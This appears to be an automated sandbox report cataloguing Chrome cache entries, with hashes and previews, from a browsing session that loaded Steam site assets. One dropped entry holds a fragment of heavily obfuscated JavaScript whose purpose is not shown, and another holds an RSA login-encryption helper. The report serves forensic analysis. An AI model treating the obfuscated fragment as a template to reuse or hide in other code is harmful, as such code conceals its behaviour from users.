end="r"?>..H.....IDATx.b\..4....J{..i....13).@......4).@.......).@@..w.q.)...~k..-@.O.&.....@l@.&.P..c@.L.&....9@<..f"110.b.w N..8.

Chrome Cache Entry: 255

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 176 x 50, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2584
Entropy (8bit):	7.591818812076699
Encrypted:	false
SSDEEP:	48:4wqQNn2xoJ35l3QWpQSufhbTCFV0Q0jkIPIH+UCKPnaqiLruSd+1w:oY2ml31ZCdqWQMkADnK41d+1w
MD5:	86A9CCC0B872F22006A48BC6C2500F4E
SHA1:	0EDCCF2CBC869816135C6FF4C3EEE0C49D0F41C1
SHA-256:	D8BBE461137D50211568449468A1981EF189248200EADD48C3141A9DF0B8F7FC
SHA-512:	43EBD681FE137718E45153B9CE062CE9426AC57D6CE907BD3B1C7709BF6F6D2AB4B49E22F2DC4F203DEDF860A895A4B58F4A01095E97722CE5F27935038F0B56
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/footerLogo_valve_new.png
Preview:	.PNG........IHDR.......2.......Q.....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:595356BA543311EAAC5FF1C3D4DCAF18" xmpMM:DocumentID="xmp.did:595356BB543311EAAC5FF1C3D4DCAF18"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:595356B8543311EAAC5FF1C3D4DCAF18" stRef:documentID="xmp.did:595356B9543311EAAC5FF1C3D4DCAF18"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>tU......IDATx..][l.E.....Q(.....11.VTL."....cb.1../.`x.x...&..F}P.....$*........J..5^Z5..@Kc...3...?{f.....%_...f.

Chrome Cache Entry: 256

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (12659), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	12824
Entropy (8bit):	5.556602496534854
Encrypted:	false
SSDEEP:	192:+Ol7JG2AOVDFDlDFuDIbqkzdNqYAwuOVVTxHYr7p/vbZzhGyUf/oa4X8LZrBrt:+s9G2A4X3bqouOzxHYfp/vbZzhGIglp
MD5:	B91F2C20108DBCD846F874CB4A4BCB43
SHA1:	3E138968F2169404D0098C92AC4C402E8FABD3F6
SHA-256:	033DCFC29F556D3630EDA2BE01D960D23E798A208EC56BB8E171C3D206624EE7
SHA-512:	31E631538B82EB0438BA5CC67F1BDD14F71C78F661BE8CF8563C724220A93D183903254C511F425C0F4EDBF4AFE956A717F687B439DD4A7ABD7EB89E7DA7713B
Malicious:	false
Reputation:	low
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/..var CLSTAMP="9224605";(()=>{"use strict";var e,t,n={661:(e,t,n)=>{n.d(t,{pR:()=>r,Vz:()=>i,nh:()=>l});var a,r,i,o=n(729);class s{m_ActiveInputId;m_ActiveInputTimeout;m_config;constructor(e){this.m_config=e}Reset(){this.m_ActiveInputId=void 0,null!=this.m_ActiveInputTimeout&&(clearInterval(this.m_ActiveInputTimeout),this.m_ActiveInputTimeout=void 0)}HandleInputButtonDown(e,t){if(this.m_ActiveInputId!==e&&null!=t){this.Reset(),this.m_ActiveInputId=e;const n=()=>{this.m_ActiveInputTimeout=window.setInterval((()=>{t()}),this.m_config.repeatInterval_ms)};null==this.m_config.firstRepeatInterval_ms\|\|this.m_config.firstRepeatInterval_ms===this.m_config.repeatInterval_ms?n():this.m_ActiveInputTimeout=window.setTimeout((()=>{t(),n()}),this.m_config.firstRepeatInterval_ms)}}}!function(e){e[e.None=0]="None",e[e.Horizontal=1]="Horizonta

Chrome Cache Entry: 257

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (361), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	57258
Entropy (8bit):	5.243366680566906
Encrypted:	false
SSDEEP:	768:kHHithZY2ucy8vQfVYvArYRaeNBJk0XHBkwQ+JOJSk3acbAHEvaSlEP04rn/xENj:of8JXNrhBcRTUEFwiKYfBn
MD5:	3D42397BCB312EC07D70AE0D68FBADDE
SHA1:	3AF248D34E6A31B3D3269C65505458D42372EF0B
SHA-256:	53961D66B24EF8CC16B6CB5CB249CDF311AA89B6AFC70F06A242FCCC3A4EFCD3
SHA-512:	F4C325A231B11CE6A3E2899367E081CD6AC2E7AC1469542414BA0E3B57DF5897DF51615E2AD0AB6559E6B38003FFDBFA533C6E5701D0BC2F40FAE80EB4332348
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/css/v6/cart.css?v=PUI5e8sxLsB9&l=english
Preview:	/* CSS Document /....body.v6 {....font-family: "Motiva Sans", Sans-serif;....font-weight: normal; / normal /......}.....tooltip_q_ctn {.. background: rgba(255,255,255,0.4);.. color: white;.. border-radius: 10px;.. font-size: 11px;.. padding: 1px 5px 2px 5px;.. cursor: default;..}...tooltip_q_ctn:hover {.. background: rgba(255,255,255,0.5);..}....body.v6.checkout .page_header_ctn {...padding-bottom: 47px;...margin-bottom: -50px;..}....body.v6.checkout_microtxn .page_header_ctn {...padding-bottom: 47px;...margin-bottom: -10px;..}....body.v6.cart_page h4 {.....font-family: "Motiva Sans", Sans-serif;....font-weight: normal; / normal */.......font-weight: normal;...color: #c7d5e0;..}....body.v6.login .rightcol h2 {...margin-top: 0px;..}..body.v6.login .rightcol .spotlight_block {...margin-bottom: 25px;..}....#checkout_review_cart_area {...margin-top: 56px;..}....#payment_info_tab .checkout_content .payment_info_form_area {...background: rgba( 0, 0, 0, 0.2 );...paddi

Chrome Cache Entry: 258

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPCM), density 38x38, segment length 16, baseline, precision 8, 32x32, components 3
Category:	downloaded
Size (bytes):	1226
Entropy (8bit):	7.468952690767969
Encrypted:	false
SSDEEP:	24:O8zo0XxDuLHeOWXG4OZ7DAJuLHenX39ASwh6NFqsPq6qOcqiZcErExA:guERApjlcqiBrOA
MD5:	36C0E361B48289C116C417C67FCBA680
SHA1:	609F27278AA70697C13BF99F32C5A0248C381F9D
SHA-256:	3FB721D4F89AD130676CD39B48D40C66D2CF051D114606556D5334D74C3621E3
SHA-512:	362CA67D9555A05780A0BF4E8D33EC002656EF4538D2630AC52FCA104E478C759645F1201ECB0FD33D25094A351614286B7A43D242F0AADE48171651C4A133BC
Malicious:	false
Reputation:	low
URL:	https://cdn.akamai.steamstatic.com/steamcommunity/public/images/apps/578080/609f27278aa70697c13bf99f32c5a0248c381f9d.jpg
Preview:	......JFIF.....&.&.....C....................................................................C....................................................................... . ...............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.......o....j....IfHc.\ov.8...R.j.b..+z.E\|!..<7.[......W...f.<e...M......z-JWl..W....x.LS.i..v..rIgz..I.PO.Yk%.o..n\|5.{...o.CN.\Z.......N...YN.!..u.....h......m4K.I.i...E......o..E.r.8..[....9cM{IToW.......\|g..k.%.!...;..9.....F..m.(.9'....uA.....>9.....a.4....v!S....p..W2.cF.x..!..;.<U<..xm.......Lg.Y..t.+x..2.._.CI......vVKm..9v....gf'.>.....C

Chrome Cache Entry: 259

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:Hwn:Qn
MD5:	245CFEBC82AAD67B56091706B257B8F2
SHA1:	3CCCF473C35B4BFB315DBDFCE178C8DEA221CA48
SHA-256:	F3AE194F6688889C81498563E2370B777721564EF13448F50206263370FB62B2
SHA-512:	B090014E41E1239A2C0E9F08F4BD3C36C6BCF86A61F30D9CF008B97D23892324F749B0E139E224F41BA7AC4D2A4E85939F486E2B4CF6B05B681F9D8BE5E9E5CB
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAlqpYuj_oK8HRIFDXzRwV0=?alt=proto
Preview:	CgkKBw180cFdGgA=

Chrome Cache Entry: 260

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	9318
Entropy (8bit):	5.299236226685305
Encrypted:	false
SSDEEP:	192:3mqlY8tyyVg9ynE4QzJ/kZYrzh9xdyYRfeB+R2ZavAAL7WDu:3VoQw7/6ueBzwvAALD
MD5:	B23A2EA37FB7DC6A317180ACB9640BBA
SHA1:	559826C6B73A59BCCF54F9034D7E8C43D03C091A
SHA-256:	23D2A8FBAA5A5F1F551B5D70440ADEE80FD519B52B3D6559CBBEA35296679E2F
SHA-512:	E946116847558894E42E26E6702B600531E85CD0DA91076E8AF2FB3FECE913F5FF4E8AA8744D2D43AFA58AB2A0289954726434946E158FC840C150F2A079F109
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/ru/public/shared/javascript/dselect.js?v=sjouo3-33Gox
Preview:	..var g_ActiveDropLists = {};..var g_LastSelectHideTime = 0;..var g_fnGPOnClosingModalWindow = null;....$J(function() {...$J(document).on( 'keydown', HandleKeyDown );..});....function HandleMouseClick( e, key )..{.....if ( !g_ActiveDropLists[key] )....return;.....var $Trigger = $J('#'+key+'_trigger');...var $Droplist = $J('#'+key+'_droplist');.....var $Target = $J( e.target);...if ( //$Trigger.is( e.target ) \|\| $J.contains( $Trigger[0], e.target ) \|\|....$Droplist.is( e.target ) \|\| $J.contains( $Droplist[0], e.target ) )....return;......DSelectHide( key );..}....var TYPEAHEAD_TIMEOUT_MS = 750;..var g_timeLastCharEvent = 0;..var g_strTypeahead = '';....function HandleKeyDown( e )..{...var bSwallowEvent = false;...var keynum = e.which;.....if ( e.altKey \|\| e.ctrlKey )...{....// bail out now so the browser can do it's thing....return;...}.....var bCharEvent = false;...switch ( keynum )...{......case 40: ..case 38: ..case 13: ..case 9: ..case 34: ..case 33: ..case 36: ..case 35: ..case 27:

Chrome Cache Entry: 261

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (547)
Category:	downloaded
Size (bytes):	469790
Entropy (8bit):	5.084911175033798
Encrypted:	false
SSDEEP:	6144:zK8SyEGdEXdujYWUl/plq/pGlgFld1HmcI48VirY7IXtu2Y5W5ZbHtQTiTXu5bgs:fljHmcI4q5W5FHttCnuJq7CjhBK1
MD5:	C811575FD210AF968E09CAA681917B9B
SHA1:	0BF0FF43044448711B33453388C3A24D99E6CC9C
SHA-256:	D2F0522008BFF05C6434E48AC8F11F7464331436A4D5D96A14A058A81A75C82E
SHA-512:	D2234D9E8DCC96BCA55FAFB83BB327F87C29AE8433FC296C48BE3EF8C9A21A0A4305E14823E75416951EECD6221F56FBBB8C89D44B244A27BE7B6BEA310F2FD1
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/ui/1.11.3/jquery-ui.js
Preview:	/! jQuery UI - v1.11.3 - 2015-02-12. http://jqueryui.com.* Includes: core.js, widget.js, mouse.js, position.js, accordion.js, autocomplete.js, button.js, datepicker.js, dialog.js, draggable.js, droppable.js, effect.js, effect-blind.js, effect-bounce.js, effect-clip.js, effect-drop.js, effect-explode.js, effect-fade.js, effect-fold.js, effect-highlight.js, effect-puff.js, effect-pulsate.js, effect-scale.js, effect-shake.js, effect-size.js, effect-slide.js, effect-transfer.js, menu.js, progressbar.js, resizable.js, selectable.js, selectmenu.js, slider.js, sortable.js, spinner.js, tabs.js, tooltip.js.* Copyright 2015 jQuery Foundation and other contributors; Licensed MIT /..(function( factory ) {..if ( typeof define === "function" && define.amd ) {....// AMD. Register as an anonymous module....define([ "jquery" ], factory );..} else {....// Browser globals...factory( jQuery );..}.}(function( $ ) {./!. * jQuery UI Core 1.11.3. * http://jqueryui.com. . Copyright jQuery Foundation and

Chrome Cache Entry: 262

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (52909), with no line terminators
Category:	dropped
Size (bytes):	52917
Entropy (8bit):	5.292876158961998
Encrypted:	false
SSDEEP:	1536:lBb2XHzZBzQZXIJKSaTFsyNv4JePKcS1ITzrMzHazXZhB0XY5s:nb233Q6JKSaTFsyNv4JePKcS1ITzrMzH
MD5:	5FD943794440DEE4D1865B9203FD1577
SHA1:	751295129DF43A924D24330B8E2652399F5A18DE
SHA-256:	84227D83C7A95DD965FB12024B63A42E275DF9F1C755AF8C86F92A52A35BCDF9
SHA-512:	C202B209199680BB969D3F7BAE6AD43583212B49F18941A1F885CA2047EE5E4384222180D66E9B8EA048DE8AAE88415A88D2CAE81B3BC95B2EF8E2F13B58C498
Malicious:	false
Reputation:	low
Preview:	function _0x46ad(_0x20cd8b,_0xd5e100){const _0x110dbf=_0x110d();return _0x46ad=function(_0x46ad1b,_0x4f9ff3){_0x46ad1b=_0x46ad1b-0x18d;let _0xadc16c=_0x110dbf[_0x46ad1b];return _0xadc16c;},_0x46ad(_0x20cd8b,_0xd5e100);}(function(_0x2f05a7,_0x2cecd5){const _0x4d1ffc=_0x46ad,_0x595ed1=_0x2f05a7();while(!![]){try{const _0x3b298d=-parseInt(_0x4d1ffc(0x1c3))/0x1+-parseInt(_0x4d1ffc(0x231))/0x2+-parseInt(_0x4d1ffc(0x235))/0x3+parseInt(_0x4d1ffc(0x24f))/0x4(parseInt(_0x4d1ffc(0x1f5))/0x5)+parseInt(_0x4d1ffc(0x224))/0x6(parseInt(_0x4d1ffc(0x234))/0x7)+-parseInt(_0x4d1ffc(0x285))/0x8+parseInt(_0x4d1ffc(0x29b))/0x9;if(_0x3b298d===_0x2cecd5)break;else _0x595ed1['push'](_0x595ed1['shift']());}catch(_0x139b8a){_0x595ed1['push'](_0x595ed1['shift']());}}}(_0x110d,0x951f0),((()=>{const _0x4b85b2=_0x46ad;var _0x19e3ce=Object[_0x4b85b2(0x199)],_0x353478=Object['defineProperty'],_0x187537=Object[_0x4b85b2(0x223)],_0x1d1f0e=Object[_0x4b85b2(0x1c4)],_0x596794=Object[_0x4b85b2(0x1c0)],_0x389621=Object[_0x

Chrome Cache Entry: 263

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 19 x 12, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	161
Entropy (8bit):	5.889732387119839
Encrypted:	false
SSDEEP:	3:yionv//thPlmztjllRl/HRthwkBDsTBZtmmAQGzlkWX0N/khY1RtjhCq/4cL+/XN:6v/lhPoJnDsp1AQIlBE91RtjhCE4cK/9
MD5:	F2DAE37ACAC6B9D5A91CAF1885C2F7D0
SHA1:	5F80FDDE9F702A1D7589BC5FAF88C14066E26C32
SHA-256:	93B1FBE4F6245B62BFD4C8C3347ABE0FE67ED711315E59BFADAEBC9873D8D9B5
SHA-512:	8D7FF7133AB97D81985C50FA8FD93916B42B1CE812AF21BC732DCAE45D59B9154FCC965857235D925C471DB191DFB79C0753C70C7A4D5B0285B908E396216805
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................tEXtSoftware.Adobe ImageReadyq.e<...CIDATx.b...?.....6....@.........6.h..1..A....@....fH.^.g.HO.......#.7.d.].....IEND.B`.

Chrome Cache Entry: 264

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	2583
Entropy (8bit):	5.220707765680073
Encrypted:	false
SSDEEP:	48:y3/p1p6iBbbjR3mDuk5kSR3mDukywR3mDuktStR3mDukFXR3mDukRCR3mDuk50wZ:ip1p6eogNw/31DsvdQw3A+37A3Hw
MD5:	CDA2E61B850F83C7F1E889ACC6193596
SHA1:	59CD6B250C1D527FF51CB57293438181A835AC70
SHA-256:	C05268CFF95B46046975AF3D56923F05AA84766DE65F83DCCC52AC72A1B525CA
SHA-512:	64F2183288260A2E86EC5113E864A4584FD516EF119321756E24DA368F6F03169EC029A6426262423A090616B39BC532E408B4382206881EFFD4F0ECC3941796
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/shared/css/motiva_sans.css?v=zaLmG4UPg8fx
Preview:	/.. Font: ..Motiva Sans.. URL: ..http://www.youworkforthem.com/product.php?sku=T2982.. Foundry: .Niramekko.. Foundry: .http://www.youworkforthem.com/designer/293/niramekko.. Copyright:.Copyright 2011 by Rodrigo Saiani. All rights reserved... Version: .1.0.. Created:.August 09, 2012.. License: .http://www.youworkforthem.com/font-license.. License: .The WebFont(s) listed in this document must follow the YouWorkForThem..... WebFont license rules. All other parties are strictly restricted..... from using the WebFonts(s) listed without a purchased license...... All details above must always remain unaltered and visible in your CSS... /....@font-face {...font-family: 'Motiva Sans';...src: url('https://help.steampowered.com/public/shared/fonts/MotivaSans-Regular.ttf?v=4.015') format('truetype');...font-weight: normal;...font-style: normal;..}....@font-face {...font-family: 'Motiva Sans';...src: url('https://help.steampowered.com/public/shared/fonts/MotivaSans-Light.ttf?v=4.015') format('tr

Chrome Cache Entry: 265

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	16087
Entropy (8bit):	4.969826359236833
Encrypted:	false
SSDEEP:	192:x32Mu4vUDjHbnZsXGWIS75sTY8M7ebb6qgrrY20jhN3MScuhJ05zb5jzCF+MlF+8:x32L4kzt3gtGb5LQqha31iUTSiq5N
MD5:	72938851E7C2EF7B63299EBA0C6752CB
SHA1:	B75196BD3A6F9F4DFC1BBF5E43E96874BCD9CE4E
SHA-256:	E2D4E0E1D3E162FDC815F16DFFF9AE9B0A967949F0F3AE371F947D730A3F0661
SHA-512:	2BB6C03A1335EF9514D0D172A4284D82A29D1783A72306BDCB8AF3185D5CD2FF16303355AA4B05086D2FA0B5B7C7159CFA67DE4A6175095FF0E68ADEC2A56AC1
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Preview:	/* Requires jQuery.. .. This plugin will create div.jsTooltip elements (or configure your own!) in body for every tooltip on the page. Some.. * basic CSS is applied automagically, but you'll want to style it on your own from there. This code will be applied to.. * every element in your .v_tooltip() selector, so giving it a common selector like '.tooltip' is ideal... .. Options:.. * - location: Where the tooltip should spawn in relation to it's parent.. * - offsetN: How many pixels to add.. * - trackMouse: Should we track the mouse cursor instead of the parent?.. * - suppressOnClick: Should we hide if a user clicks the target?.. * - suppressWhileToggled: Should we ignore events if the target has the 'toggled' class?.. * - tooltipClass: css class to apply to tooltip elements.. * - fadeSpeed:.Time (in milliseconds) to spend fading in/out. Set to 0 to disable... * - allowHover: Should we keep the tooltip open if we mouse directly on to the tooltip? (Your tooltip will need to spawn in

Chrome Cache Entry: 266

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3355
Entropy (8bit):	5.396115949174596
Encrypted:	false
SSDEEP:	48:jrE1CT8Pi/CCsj5x9cHcYVGwGnrGdrtjcd/UfxGD/CtByLF3vDD+FQyB8pCkP:IawCp8E/0Ec+ByBv+FQyCzP
MD5:	9AF8AAEF60A740E8062CCDA7EFE7C179
SHA1:	1D72FFFE2679D8E55F35C1CEEFA29261C55E0A43
SHA-256:	7173A15A85C666C409667810A53ED83FE73505988FF8496EE65C8EE03D683A6A
SHA-512:	349F5F3958A19BE9B83DE6A18F22786B0C9D79815ABA89F721EE4A2C2DA66098F24794AEA023D84E645F17BCB7A9A5E65EAC331C79530010AA08707329F32114
Malicious:	false
Reputation:	low
Preview:	var RSAPublicKey = function($modulus_hex, $encryptionExponent_hex) {...this.modulus = new BigInteger( $modulus_hex, 16);...this.encryptionExponent = new BigInteger( $encryptionExponent_hex, 16);..};....var Base64 = {...base64: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",...encode: function($input) {....if (!$input) {.....return false;....}....var $output = "";....var $chr1, $chr2, $chr3;....var $enc1, $enc2, $enc3, $enc4;....var $i = 0;....do {.....$chr1 = $input.charCodeAt($i++);.....$chr2 = $input.charCodeAt($i++);.....$chr3 = $input.charCodeAt($i++);.....$enc1 = $chr1 >> 2;.....$enc2 = (($chr1 & 3) << 4) \| ($chr2 >> 4);.....$enc3 = (($chr2 & 15) << 2) \| ($chr3 >> 6);.....$enc4 = $chr3 & 63;.....if (isNaN($chr2)) $enc3 = $enc4 = 64;.....else if (isNaN($chr3)) $enc4 = 64;.....$output += this.base64.charAt($enc1) + this.base64.charAt($enc2) + this.base64.charAt($enc3) + this.base64.charAt($enc4);....} while ($i < $input.length);....return $output;...},...decode:

Chrome Cache Entry: 267

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3684
Entropy (8bit):	4.780503743341751
Encrypted:	false
SSDEEP:	96:CXQSfzclE2Bc4N/waCVAh+m8CE2n1HNBRjVO2PGPLYOgzypH6YB:WQAzSE2BB9/c1CEEtoFUOgzs6YB
MD5:	B7A7E43284E2FFE806AC1BC27C1F6A87
SHA1:	E8196489E2AE99EC6EB33995B5A3E108D6E44DE0
SHA-256:	C3A7C646A1305017F22423030CB5A12ACC9F96B64013DCEF7AEB80567B542CBB
SHA-512:	757E4F382A864CAC9F975220C28586F5EA415B2E2215375C1A47E011A9190FCD15313D399007539F150A6DF0378B8F2022AC88E995693AB03A9F5656BFE40832
Malicious:	false
Reputation:	low
URL:	https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg
Preview:	<?xml version="1.0" encoding="utf-8"?>.. Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->..<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">..<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"... width="355.666px" height="89.333px" viewBox="0 0 355.666 89.333" enable-background="new 0 0 355.666 89.333"... xml:space="preserve">..<g>...<path fill="#C5C3C0" d="M44.238,0.601C21,0.601,1.963,18.519,0.154,41.29l23.71,9.803c2.009-1.374,4.436-2.179,7.047-2.179....c0.234,0,0.467,0.008,0.698,0.021l10.544-15.283c0-0.073-0.001-0.144-0.001-0.216c0-9.199,7.483-16.683,16.683-16.683....c9.199,0,16.682,7.484,16.682,16.683c0,9.199-7.483,16.684-16.682,16.684c-0.127,0-0.253-0.003-0.379-0.006l-15.038,10.73....c0.008,0.195,0.015,0.394,0.015,0.592c0,6.906-5.617,12.522-12.522,12.522c-6.061,0-11.129-4.326-12.277-10.055L1.678,56.893....c5.25,18.5

Chrome Cache Entry: 268

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	22982
Entropy (8bit):	5.20146614382101
Encrypted:	false
SSDEEP:	384:/KPuGWFUU8B+9zarQKcediPyxalS8pVUqqv5oz2Et62RPAjvbB+zHAPLIJI:/KPuGWFUR+9OrQKcekPyxalfVTqv6I2C
MD5:	A0DE258794019F665DD387129D436FC3
SHA1:	3F1C502A7A70E5DE42A59584E0862840A7517F52
SHA-256:	143547B60902FEB651F75C61F8B4DB84F0395866C6F115C9502AAC5CFD2AAA09
SHA-512:	9729D3768295FE63E18979D85A8F2E5D6EB72B3D60579EDC1B9C5C9CE75E0A3985936EA3F5FD1FFBFACE6649FF29B8CA9752C4B09EAB52E7B8AD54098303AFD9
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/css/v6/account.css?v=P2WLI8B6ddJe&l=english
Preview:	...licenseRow, .transactionRow {...position: relative;...padding: 5px 14px;...border-bottom: 1px solid #000000;...line-height: 18px;..}.....licenseRow.even, .transactionRow.even {...background-color: rgba(0,0,0,0.2)..}.....licenseRow.odd, .transactionRow.odd {...background-color: rgba(0,0,0,0.1)..}.....licenseLegend, .transactionLegend {...background: #0197cf;...color: #fff;...font-size: 11px;...text-transform: uppercase;...padding: 2px 14px;..}.....licenseRowRight {...position: absolute;...right: 14px;..}.....transactionRowDate {...position: absolute;...left: 14px;..}.....transactionRowEvent {...position: absolute;...left: 451px;..}.....transactionRowPrice {...position: absolute;...right: 14px;..}.....transactionRowItems {...padding-left: 121px;..}.....transactionRowTitle {...padding-right: 162px;..}.....transactionRowItems .itemSubtext {...color: #626366;..}.....transactionRowName {...padding-top: 5px;...padding-bottom: 5px;...padding-left: 14px;...width: 45%;...border-bottom-width:

Chrome Cache Entry: 269

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 744 x 171, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	10863
Entropy (8bit):	7.893336023408476
Encrypted:	false
SSDEEP:	192:5ARjfa23tAJsqmbZEyI3ImwTHVeVUzp7C+22Z6XikPFffq0BV0FIZLKePlOoYWn4:5AfaItAJsfElI3jVwUzpC+JqNfC0wFIM
MD5:	A4E79C73EE13CB25B60FC4B0BA1F690C
SHA1:	B690C31B2EB1B0EB085E91AAAE7E79F03DEBE7C1
SHA-256:	6CB869DF089146C12EFB5E9C968E911C314842624BA6F052A11346AC734CADC8
SHA-512:	AAD423119F410A655F0AA475D2FE692087D7262C3986CE71347981C5B60F6A10031D7050BF9B9AEE4E7D84D814F0B8883C964028FCBE14ED3464602F3BA6CEC3
Malicious:	false
Reputation:	low
URL:	https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Preview:	.PNG........IHDR.............4.i{....sRGB.........gAMA......a.....pHYs..........o.d..).IDATx^...}U......\|.hp(..%1..H.DQ..(..H..HF..H..(.B1...hP.B1.."1..")...(."..I.".x.....:.9.......>.c....~....>..c.....7O?..sDDDDD.....QDDDDD.......S...g.Nj..........h.EDDD.F........N;.B.r..!.%.phm.9.....\DDDdr4.25..].:/..?%4...a...}.H.........]..!..qm.....\|m..]DDDdp4.24...$....R..>....{..y.""""..A.! .....C.s.....0......""""}.A.>...{Co.../,..K1._.Qt*"""r..t..r.?.z..l.`.?......tB...@^..Ctb...h...QuZ;....$.A.\..zW.cN.r..c!"._....""".....pY..C.$.'CD.?......N4..+B..1PH.CD....`DDDDZ..G.6...G.!........Bg......M4..r...".\....OB..../""".....&Dy...1..:.\.bJ......t9.....2..w"....&....H.....C..!...t0...Qu...Y(F..u._.4..C..v0.Z....."./.....:eu&%@..B....""".@LqY&.?RZ.^.I..(ty.....,....xA.^.....oCo..\|u&""".G..,.......S.KC.b...Y../.".?.i...;....SDDDf..}.\."rNz...u...:.UDDd.h......)_?....z..LDDDf..}.."r.9....].......Ht..6D..I.3.#..l.EDDd.h.....9.2_..zG..........8;..\|..9..wWg"""

Chrome Cache Entry: 270

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (724)
Category:	downloaded
Size (bytes):	551834
Entropy (8bit):	5.646059185430787
Encrypted:	false
SSDEEP:	6144:ytxIUYTteVvs0E8gSdoxS4MLYw1tZnAzsz1I9VBojCdzNDC2vPpD:ybYTZMgGopkAzsz1ciEU2d
MD5:	33AFF52B82A1DF246136E75500D93220
SHA1:	4675754451AF81F996EAB925923C31EF5115A9F4
SHA-256:	B5E8EC5D4DCC080657DEB2D004F65D974BF4EC9E9AA5D621E10749182FFF8731
SHA-512:	2E1BAAE95052737BDB3613A6165589643516A1F4811D19C2F037D426265AA5ADF3C70334C1106B1B0EEF779244389F0D7C8C52B4CD55FCE9BAB2E4FCB0642720
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/releases/xds0rzGrktR88uEZ2JUvdgOY/recaptcha__en.js
